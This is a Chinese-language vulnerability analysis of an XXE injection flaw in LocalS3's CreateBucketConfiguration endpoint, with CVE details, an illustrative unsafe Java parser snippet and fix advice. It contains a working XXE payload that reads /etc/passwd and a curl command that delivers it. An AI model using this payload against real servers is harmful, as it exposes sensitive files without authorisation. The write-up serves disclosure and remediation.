CVE-2025-27136 – LocalS3 CreateBucketConfiguration端点XXE注入漏洞分析

本文详细分析了CVE-2025-27136漏洞,这是一个存在于LocalS3 AWS S3模拟器CreateBucketConfiguration端点的XML外部实体注入漏洞。攻击者可通过特制XML载荷读取服务器任意文件,文章包含技术原理、利用步骤及修复方案。

CVE-2025-27136 – LocalS3 CreateBucketConfiguration端点XXE注入

概述

CVE-2025-27136是LocalS3(本地AWS S3模拟器)CreateBucketConfiguration端点中存在的一个XML外部实体(XXE)注入漏洞。攻击者通过发送特制的XML载荷,可利用此漏洞从服务器文件系统中读取任意文件。

CVE ID: CVE-2025-27136
严重等级: 中等
CVSS评分: 5.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
EPSS评分: 0.11%
发布日期: 2025年4月12日
影响: 信息泄露
攻击向量: 远程
需认证: 否
脆弱组件: CreateBucketConfiguration XML解析

此漏洞影响任何使用易受攻击版本LocalS3且暴露于XML存储桶创建请求的应用程序。

技术分析

CreateBucketConfiguration API端点接受XML输入以配置新存储桶。LocalS3使用不安全的XML解析器,未禁用外部实体解析。

通过制作包含<!DOCTYPE>声明的恶意XML载荷,并使用file:// URI方案引用外部文件,攻击者可获取LocalS3进程可读的本地文件内容。

利用条件

  • LocalS3实例运行易受攻击版本(修复前版本)。
  • 攻击者可访问端点/(或存储桶创建路由)。
  • 未正确过滤包含外部实体的XML载荷。
  • 攻击者知道或猜测服务器上的敏感文件名(如/etc/passwd)。

脆弱代码片段(隐含)

尽管公告中未显示实际源代码,但漏洞是由于调用类似Java默认SAX/DOM解析器的XML解析器时未设置安全处理标志所致,例如:

1
2
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder(); // 未禁用外部实体解析,易受XXE攻击

利用步骤

  1. 制作包含外部实体的恶意XML载荷:
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<CreateBucketConfiguration>
  <LocationConstraint>&xxe;</LocationConstraint>
</CreateBucketConfiguration>
  1. 将载荷发送至LocalS3端点:
1
curl -X PUT http://localhost:8080/bucket-name -H "Content-Type: application/xml" -d @xxe_payload.xml

如果存在漏洞,响应将包含/etc/passwd或目标文件的内容。

Metasploit利用

Metasploit目前没有此CVE的模块,但通过curl或Burp Suite可轻松手动利用。

修复方案

  • 更新LocalS3至最新版本,其中XML解析已加固。
  • 确保配置XML解析器以禁用外部实体解析。

参考

  • GitHub公告
  • Robothy的漏洞利用/公告
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计